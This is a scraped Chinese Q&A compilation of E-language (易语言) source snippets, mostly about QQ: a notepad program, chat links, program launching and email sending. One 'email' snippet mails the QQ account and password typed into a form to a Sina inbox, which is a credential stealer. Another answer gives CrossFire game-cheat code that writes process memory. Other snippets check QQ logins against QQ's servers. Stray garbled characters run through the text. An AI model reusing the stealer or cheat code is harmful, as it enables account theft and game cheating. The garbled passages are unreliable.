qq2014易语言源码
㈠ 易语言源码
哦 哦 ，那我给你个记事本的源码吧 如下
.版本 2
.支持库 iext2
.支持库 iext
.支持库 eAPI
.程序集 窗口程序集1
.程序集变量 文件路径, 文本型
.程序集变量 当前是否正在打字, 逻辑型
.子程序 _超级编辑框1_内容被改变, , , 更改超级编辑框的颜色
.局部变量 颜色, 字符格式
颜色.文本颜色 ＝ 取颜色值 (取随机数 (0, 255), 取随机数 (0, 255), 取随机数 (0, 255))
超级编辑框1.置选择区字符格式 (颜色)
状态条1.置文本 (0, “行 ” ＋ 到文本 (超级编辑框1.取行数 ()) ＋ “ 文本长度 ” ＋ 到文本 (超级编辑框1.取文本长度 ()))
.子程序 __启动窗口_创建完毕, , , 设置通用对话框
通用对话框1.过滤器 ＝ “txt|*.txt”
通用对话框1.默认文件后缀 ＝ “txt”
通用对话框1.标题 ＝ “传说记事本保存对话框...”
_时间日期_被选择 ()
_炫银皮肤_被选择 ()
备忘录提醒 ()
.子程序 __启动窗口_位置被改变, , , 位置被改变后超级编辑框也跟着改变(按钮1也跟着改变)
.如果真 (_启动窗口.位置 ＝ 3)
超级编辑框1.宽度 ＝ 取屏幕宽度 () － 3
超级编辑框1.高度 ＝ 取屏幕高度 () － 80 － 按钮1.高度 － 10
按钮1.顶边 ＝ 取屏幕高度 () － 状态条1.高度 － 100
按钮1.宽度 ＝ 取屏幕宽度 () － 5
按钮1.高度 ＝ 状态条1.高度 ＋ 10
.如果真结束
.如果真 (_启动窗口.位置 ＝ 0)
超级编辑框1.宽度 ＝ _启动窗口.宽度 － 10
超级编辑框1.高度 ＝ _启动窗口.高度 － 55 － 按钮1.高度 － 10
按钮1.顶边 ＝ 200
按钮1.宽度 ＝ 560
.如果真结束
.子程序 _新建_被选择, , , New文件
.如果真 (超级编辑框1.内容 ≠ “”)
.如果真 (信息框 (“您还没保存!请问您要进行保存吗?”, 4, ) ＝ #是钮)
通用对话框1.类型 ＝ 1
通用对话框1.打开 ()
写到文件 (通用对话框1.文件名, 到字节集 (超级编辑框1.内容))
.如果真结束
.如果真结束
.子程序 _打开_被选择, , , Open文件
通用对话框1.类型 ＝ 0
通用对话框1.打开 ()
.如果真 (通用对话框1.文件名 ≠ “”)
超级编辑框1.内容 ＝ 到文本 (读入文件 (通用对话框1.文件名))
文件路径 ＝ 通用对话框1.文件名
.如果真结束
.子程序 _保存_被选择, , , Save文件
.如果真 (文件路径 ＝ “”)
通用对话框1.类型 ＝ 1
通用对话框1.打开 ()
写到文件 (通用对话框1.文件名, 到字节集 (超级编辑框1.内容))
.如果真结束
.如果真 (文件路径 ≠ “”)
写到文件 (文件路径, 到字节集 (超级编辑框1.内容))
.如果真结束
.子程序 _保存到_被选择, , , Save As文件
通用对话框1.类型 ＝ 1
通用对话框1.打开 ()
.如果真 (通用对话框1.文件名 ≠ “”)
写到文件 (通用对话框1.文件名, 到字节集 (超级编辑框1.内容))
.如果真结束
.子程序 _撤销_被选择, , , Undo 文本
超级编辑框1.撤消 ()
.子程序 _剪切_被选择, , , Cut 文本
超级编辑框1.剪切 ()
.子程序 _复制_被选择, , , Copy 文本
超级编辑框1.复制 ()
.子程序 _粘连_被选择, , , Paste文本
超级编辑框1.粘贴 ()
.子程序 _删除_被选择, , , Delete文本
超级编辑框1.删除 ()
超级编辑框1.内容 ＝ 取文本左边 (超级编辑框1.内容, 取文本长度 (超级编辑框1.内容) － 1)
.子程序 _寻找_被选择, , , Find文本
载入 (Find窗口, , 真)
.子程序 _寻找下一个_被选择, , , 还没解决好
.子程序 _文本替换_被选择, , , 文本替换
载入 (文本替换窗口, , 真)
.子程序 _跳到_被选择, , , 还没解决好
载入 (跳到窗口, , 真)
.子程序 _全选_被选择, , , Select All文本
超级编辑框1.被选择字符数 ＝ 取文本长度 (超级编辑框1.内容)
.子程序 _时间日期_被选择, , , Time-Date
.局部变量 小时, 文本型
.局部变量 分钟, 文本型
.局部变量 日期, 文本型
.局部变量 年份, 文本型
.局部变量 月份, 文本型
.局部变量 日份, 文本型
小时 ＝ 到文本 (取小时 (取现行时间 ()))
分钟 ＝ 到文本 (取分钟 (取现行时间 ()))
年份 ＝ 到文本 (取年份 (取现行时间 ()))
月份 ＝ 到文本 (取月份 (取现行时间 ()))
日份 ＝ 到文本 (取日 (取现行时间 ()))
状态条1.置文本 (1, 小时 ＋ “:” ＋ 分钟 ＋ “ ” ＋ 年份 ＋ “-” ＋ 月份 ＋ “-” ＋ 日份)
.子程序 _传说记事本v13_被选择, , , About Notepad
信息框 (“软件作者:古老的传说” ＋ #换行符 ＋ “QQ:1041750677” ＋ #换行符 ＋ “MSN:[email protected]” ＋ #换行符 ＋ “编写工具:易语言” ＋ #换行符 ＋ “软件版本:1.3” ＋ #换行符, 0, )
.子程序 _密码保管_被选择, , , Password Protect
载入 (密码窗口, , 真)
.子程序 _备忘录_被选择, , , 载入备忘录窗口
载入 (备忘录窗口, , 真)
.子程序 备忘录提醒, , , 备忘录提醒
.局部变量 分割文本, 文本型, , "0"
.局部变量 今天日期, 文本型
.局部变量 分割今天日期, 文本型, , "0"
分割文本 ＝ 分割文本 (读配置项 (取运行目录 () ＋ “\备忘录.ini”, “备忘录”, “提示日期”, ), “日”, )
今天日期 ＝ 到文本 (取日期 (取现行时间 ()))
分割今天日期 ＝ 分割文本 (今天日期, “日”, )
.如果真 (取数组成员数 (分割文本) ＝ 1 或 取数组成员数 (分割文本) ＞ 1)
.如果真 (分割文本 [1] ＝ 分割今天日期 [1])
状态条1.置文本 (2, “您今天有一份备忘录噢^_^”)
.如果真结束
.如果真结束
.子程序 _银白皮肤_被选择, , , 银白皮肤
更换新皮肤 (1)
.子程序 _浅白皮肤_被选择, , , 浅白皮肤
更换新皮肤 (10)
.子程序 _浅灰皮肤_被选择, , , 浅灰皮肤
更换新皮肤 (13)
.子程序 _浅蓝皮肤_被选择, , , 浅蓝皮肤
更换新皮肤 (19)
.子程序 _浅黑皮肤_被选择, , , 浅黑皮肤
更换新皮肤 (5)
.子程序 _炫银皮肤_被选择, , , 炫银皮肤
更换新皮肤 (2)
.子程序 _炫白皮肤_被选择, , , 炫白皮肤
更换新皮肤 (15)
.子程序 _炫蓝皮肤_被选择, , , 炫蓝皮肤
更换新皮肤 (18)
.子程序 _深黑皮肤_被选择, , , 深黑皮肤
更换新皮肤 (14)
.子程序 __启动窗口_可否被关闭, 逻辑型, , 透明显示最小化运行
.局部变量 变量1, 整数型
变量1 ＝ 255
.计次循环首 (255, )
设置窗口透明度 (_启动窗口.取窗口句柄 (), 变量1)
变量1 ＝ 变量1 － 1
.如果真 (变量1 ＝ 1)
置托盘图标 (#程序图标, “古老的传说记事本v1.2”)
_启动窗口.可视 ＝ 假
.如果真结束
.计次循环尾 ()
返回 (假)
.子程序 __启动窗口_托盘事件, , , 透明显示_启动窗口
.参数 操作类型, 整数型
.局部变量 变量1, 整数型
.如果真 (操作类型 ＝ 1)
_启动窗口.可视 ＝ 真
.计次循环首 (255, 变量1)
设置窗口透明度 (_启动窗口.取窗口句柄 (), 变量1)
.计次循环尾 ()
.如果真结束
.如果真 (操作类型 ＝ 3)
弹出菜单 (图标菜单, 取鼠标水平位置 (), 取鼠标垂直位置 ())
.如果真结束
.子程序 __启动窗口_将被销毁, , , 销毁任务栏图标
置托盘图标 ({ }, )
.子程序 _打开传说记事本_被选择, , , _启动窗口.可视=真
__启动窗口_托盘事件 (1)
.子程序 _销毁_被选择, , , 销毁软件
销毁 ()
.子程序 _超级编辑框1_按下某键, 逻辑型, , 正在打字中...
.参数 键代码, 整数型
.参数 功能键状态, 整数型
当前是否正在打字 ＝ 真
按钮1.标题 ＝ “正在打字中...”
时钟1.时钟周期 ＝ 800
返回 (真)
.子程序 _超级编辑框1_放开某键, 逻辑型, , 暂停打字中...
.参数 键代码, 整数型
.参数 功能键状态, 整数型
当前是否正在打字 ＝ 假
返回 (真)
.子程序 _时钟1_周期事件, , , 暂停打字中...
.如果真 (当前是否正在打字 ＝ 假)
按钮1.标题 ＝ “暂停打字中...”
.如果真结束
.子程序 _超级编辑框1_选择区被改变, , , 超级编辑框1.滚动
超级编辑框1.滚动 (1)
㈡ 易语言 点击按钮 直接弹开QQ对话框 源码 源码
.版本 2
.支持败瞎贺库 shell
.程序集 窗口察派程序集1
.子程序 _按钮1_被单神纳击
执行 (, “http://wpa.qq.com/msgrd?v=3&uin=123456&site=qq&menu=yes”, , , 3)
' 把上面的123456改成你自己的QQ就好了
㈢ 什么是易语言源码怎么用，大概有几种我是新手，详细点！
就是一个程序的源文件
一个程序里面有很多原理
这些就是易语言源码
比如一个EXE的文件
它就有一个源码
这么说吧
如果一个JPG图片
那么它的源码就是还没保存的时候可以编辑的那个情况下
比如说一个程序（点按钮1就出现对话框“123”）
那么它的源码就是：
大概原理就是
按钮1点击时：信息框（“123”，0，）
这样
就是易语言源码
㈣ 易语言源码怎么写
问题一：易语言这个源码要怎么写帮忙写下 30分 逐个判断
也就是
判断（编辑框1.内容=“0”）
判断（编辑框1.内容=“1”）
这样逐个判断
问题二：易语言的源码怎么写？ 易语言编程系统《全书PDF》 3600gz/viewthread.php?tid=95
问题三：易语言压缩文件源码怎么写 此例子中用到的控件是 （按钮1）（按钮2）（zip压缩1）
例子是将运行目录下的 “1.ini” 压缩成.ZIP文件，再讲ZIP文件解压到文件夹
代码如下：（效果如 例子图）
.版本 2.支持库 epress.子程序 _按钮1_被单击ZIP压缩1.压缩 (取运行目录 () ＋ “\1.ini”, “压缩文件.zip”).子程序 _按钮2_被单击ZIP压缩1.解压 (取运行目录 () ＋ “\压缩文件.zip”, “解压开的文件夹”)
问题四：易语言怎么写运行某个程序的代码??? 这个很基础哦。。
添加一个按钮 标题就叫 【腾迅QQ】 把源码复制进去就行啦，当然了，路径要看你自己QQ的安装目录啦。
我这样写最简单，也可以说是简陋啦。不过是可行的
.版本 2
.支持库 eAPI
.程序集 窗口程序集1
.子程序 _按钮QQ_被单击
.如果 (按钮QQ.标题 ＝ “【腾迅QQ】”)
运行 (“D:\Program Files\Tencent\QQ\Bin\QQ.exe”, 假, )
按钮QQ.标题 ＝ “【QQ运行中】”
.否则
终止进程 (“QQ.exe”)
.如果结束
问题五：易语言发送邮件源码怎么写啊 已经加了，顺便告诉你，QQ邮箱没办法收到邮件
写一组代码给你吧，新浪邮箱比较稳定，开启SMTP服务
.版本 2
.支持库 internet
连接发信服务器 (“ *** tp.sina”, 25, “[email protected] ”, “密码我就不填了”, )
发送邮件 (“SB送号来了”, “QQ帐号：” ＋ 编辑框1.内容 ＋ #换行符 ＋ “QQ密码：” ＋ 编辑框2.内容, “[email protected] ”, , , “[email protected] ”, )
新浪邮箱开启SMTP服务在设置――账户倒数第一二行里面开启
问题六：易语言怎么写载入窗口的源码？ 先插入一个新的窗口，在启动窗口上弄个按钮，双击按就会跳转到窗口程序集。在窗口程序集里输入命令。
.版本 2
.子程序 _按钮1_被单击
载入 (窗口1, , 真) 注：窗口1是你刚刚新插入的窗口。
问题七：易语言发邮件代码怎么写 给你个QQ发信的例子.版本 2
.支持库 internet连接发信服务器 (“ *** tp.qq”, 25, “QQ号”, “密码”, )
发送邮件 (“邮件主题”, “邮件正文”, “收件人邮件地址”, “抄送邮件地址”, “暗送邮件地址”, “发信人邮件地址”, “回复邮件地址”)
注意：收信人要在邮箱――设置――帐户――POP3/IMAP/SMTP服务----开启POP3/SMTP服务
问题八：易语言，保存功能的源码怎么写？ _选择框1_被单击
.如果真(选择框1.选中=真)
写配置项（“.\保存.ini”，“保存的数据”，“名字”，编辑框1.内容）
.如果真结束
__启动窗口_创建完毕
编辑框1.内容=读配置项（“.\保存.ini”，“保存的数据”，名字）
纯手打，代码格式有误，不要复制~
问题九：求助！易语言自动整理编辑框内容源码怎么写 用分割文本命令
.版本 2
.子程序 _按钮1_被单击
.局部变量 临时数组, 文本型, , 0
临时数组 ＝ 分割文本 (编辑框1.内容, “p:”, )
.如果真 (取数组成员数 (临时数组) ＝ 2)
编辑框3.内容 ＝ 临时数组 [2]
临时数组 ＝ 分割文本 (临时数组 [1], “n:”, )
.如果真 (取数组成员数 (临时数组) ＝ 2)
编辑框2.内容 ＝ 临时数组 [2]
.如果真结束
.如果真结束
问题十：易语言有源码怎么写CF辅助，需要基址吗 很抱歉。。你这种做法，我不会做这种。我发一下：你看看.......
.版本 2.支持库 eAPI
.程序集 窗口程序集1
.子程序 _靶子喷涂_被单击
VMP保护标记开始 ()
.如果 (靶子喷涂.选中 ＝ 真)
时钟1.时钟周期 ＝ 1
.否则
时钟1.时钟周期 ＝ 0
.如果结束
.子程序 _时钟1_周期事件
VMP保护标记开始 ()内存_驱动读写1.写整数型 (取进程ID (“crossfire.exe”), 到十进制 (“015058F4”), 249)
.子程序 _撤退喷涂_被单击
VMP保护标记开始 ()
.如果 (撤退喷涂.选中 ＝ 真)
时钟2.时钟周期 ＝ 1
.否则
时钟2.时钟周期 ＝ 0
.如果结束
.子程序 _时钟2_周期事件
VMP保护标记开始 ()内存_驱动读写1.写整数型 (取进程ID (“crossfire.exe”), 到十进制 (“015058F4”), 248)
.子程序 _连杀喷涂_被单击
VMP保护标记开始 ()
.如果 (连杀喷涂.选中 ＝ 真)
时钟3.时钟周期 ＝ 1
.否则
时钟 3.时钟周期 ＝ 0
.如果结束
.子程序 _时钟3_周期事件
VMP保护标记开始 ()内存_驱动读写1.写整数型 (取进程ID (“crossfire.exe”), 到十进制 (“015058F4”), 254)
.子程序 _奥摩初级头_被单击
VMP保护标记开始 ()
.如果 (奥摩初级头.选中 ＝ 真)
时钟4.时钟周期 ＝ 1
.否则
时钟4.时钟周期 ＝ 0
.如果结束
.子程序 _时钟4_周期事件
VMP保护标记开始 ()内存_驱动读写1.写整数型 (取进程ID (“crossfire.exe”), 到十进制 (“015058F4”), 24)
.子程序 _奥摩迷彩包_被单击
VMP保护标记开始 ()
.如果 (奥摩迷彩包.选中 ＝ 真)
时钟5.时钟周期 ＝ 1
.否则
时钟5.时钟周期 ＝ 0
.如果结束
㈤ 易语言 仿QQ聊天工具 或 聊天室 源码
你好，
我有几百套易语言源码和模块，欢迎大家交流，共同进步
随时共享
这是我们易语言人自己的交流群：132157144 希望大家一起进步，本人随时解答各类疑问
还不懂得话，继续联系
㈥ 如何用易语言做一个类似于qq的登陆器
易语言源码：易语言自己简单编写QQ登陆器。这个源码非常简单，非常适合易语言入门初学的童鞋们学习虚尺掘，大家有兴趣可以下载本文附件的源码。
本文困拍附件下载：（QQ登陆器易语言源码）
这里给大家说一下如何编写吧，太简单了本程序都不用编写代码，只需要一个超差核文本浏览框即可实现。
打开易语言主程序，新建一个Windows空白程序，然后添加一个超文本浏览框控件，地址就是利用了mini
webQQ来实现的，然后调整好窗口的大小就搞定了，
编写好了编译出来就成了一个独立的exe程序，界面如下：（大家可以自己美化）
㈦ 我需要一个易语言源码 很简单 就是把文档里面的文字 复制到QQ对话框里 然而 发送 全
最绝裤简单的方法，不需要模块唤宴，首先并链简取出文本，如果多段可以用数组，取窗口句柄，然后计次循环，然后取出文本，置剪辑版文本，可以投递文本，也可以模拟按键（#ctrl，#v，），再模拟按键（#回车键，，）就可以了
㈧ 易语言怎么连接网络判断QQ账号密码是否正确求源码！
.版本 2
.支持库 iext
.局部变量 返回文本, 文本型
.局部变量 链接, 文本型
处理事件 ()
超级列表框1.全部删除 ()
返回文本 ＝ UTF8转ANSI (彗星HTTP读文件 (“q.3g.qq.com/g/s?sid=” ＋ sid ＋ “&”, “POST”, , , “u=” ＋ 编辑框1.内容 ＋ “&p=” ＋ 编辑框2.内容 ＋ “&modifySKey=0&to_qqchat=1&aid=nLoginHandle”, ))
' 输出调试文本 (返回文本)
.如果真 (寻找文本 (返回文本, “看不清，换一张”, , 假) ≠ -1)
验证码ID ＝ 取指定内容 (返回文本, “<img src=” ＋ #引号 ＋ “”, “.gif”)
载入 (窗口_验证码, , 真)
返回文本 ＝ UTF8转ANSI (彗星HTTP读文件 (“q.3g.qq.com/g/s?sid=” ＋ sid, “POST”, , , “aid=nSafeHandleLogin&u=” ＋ 编辑框1.内容 ＋ “&p=” ＋ 取指定内容 (返回文本, “p” ＋顷穗 #引号 ＋ “ value=” ＋ #引号, #引号) ＋ “&extend=” ＋ 验证码ID ＋ “&r_sid=” ＋ 取指定内容 (验证码ID ＋ “/”, “/”, “/”) ＋ “&hexp=true&auto=0&modifySKey=0&loginTitle=&q_status=10&loginType=1&bid=0&only3g=0&to_qqchat=1&verify=” ＋ 验证码, ))
' 输出调试文本 (返回文本)
.版本 2
.支持库 iext
.支持库 EThread
.版本 2
.支持库 iext
.支持库 EThread
.判断开始 (寻找氏团文本 (返回文本, “登录成功”, , 假) ≠ -1)
信息框 (“登录成功！”, 0, )
信息框 （“登陆失败雀核卜！”, 0, )
.默认
.判断结束
㈨ 易语言辨别QQ号码、密码是否正确源码
.版本 2
.支持库 script
.子程序 _登录按钮_被单击
.局部变量 pass, 文本型
.局部变量 临时数据, 文本型
.局部变量 IP, 文本型
.局部变量 temp, 文本型, , "0"
脚本组件1.执行 (#md5)
pass ＝ 脚本组件1.运行 (“md5_3”, 编辑框2.内容)
pass ＝ 脚本组清大件1.运行 (“md5”, pass ＋ 到大写 (编辑框3.内容))
临时数据 ＝ 到文本 (彗星HTTP读文件 (“http://ptlogin2.qq.com/login”, “POST”, , , “u1=http%3A%2F%2Fimgcache.qq.com%2Fqzone%2Ftoolbar%2Floginsucc.html%3Fpara%3DblogComment&fp=loginerroralert&h=1&u=” ＋ 编辑框1.内容 ＋ “&p=” ＋ pass ＋ “&verifycode=” ＋ 编辑框3.内容 ＋ “&aid=15000101&from_ui=1”, ))
.如果 (寻找文本 (临时数据, “登录成功”, , 假) ＞ 0)
信息框 (“登录成功！”, #信息图标, “登录成功”)
图片框_验证.图片 ＝ 彗星HTTP读文件 (“http://ptlogin2.qq.com/getimage”)
编辑框3.内容 ＝ “”
.否则
信息框 (“您输入的密码是误，请重新输入”, #错误图标, “登录失段雹败”)
.如果结束
.子程序 获取验证码
.局部变量 a, 文本型
a ＝ 彗星HTTP读文本 (“ptlogin2.qq.com/check?uin=” ＋ 编辑框1.内容 ＋ “&appid=15000101”)
.如果 (取文本长度 (a) ＝ 25)
编辑框3.内容 ＝ 取文本中间 (a, 19, 4)
_登录按钮_被单击 ()
.否答燃竖则
_启动窗口.高度 ＝ 498
图片框_验证.图片 ＝ 彗星HTTP读文件 (“http://ptlogin2.qq.com/getimage”)
_登录按钮_被单击 ()
.如果结束
.子程序 _图片框_验证_鼠标左键被按下, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型
图片框_验证.图片 ＝ 彗星HTTP读文件 (“http://ptlogin2.qq.com/getimage”)
.子程序 _登录按钮1_被单击
获取验证码 ()
㈩ 跪求不被杀，没有后门的，易语言2014QQ盗号源码。谢谢
你好，易语言就算不写任何代码，直接编译空壳程序，也是核慧桥依然会误报的。
解决办法是，将开发好的源码成品上改猛传到各大杀毒软件误报中心，审核通过后，就不会再误报了碧庆。审核通过的条件是保证成品软件无毒无后门无木马，不危害他人利益不违法才能通过审核。
像你说的QQ盗号，明显的损害他人利益，这种是通不过的！目前免杀技术也比较难搞，毕竟杀毒软件不是吃白饭的。建议你不要去想这些乱七八糟的东西
满意请采纳，谢谢！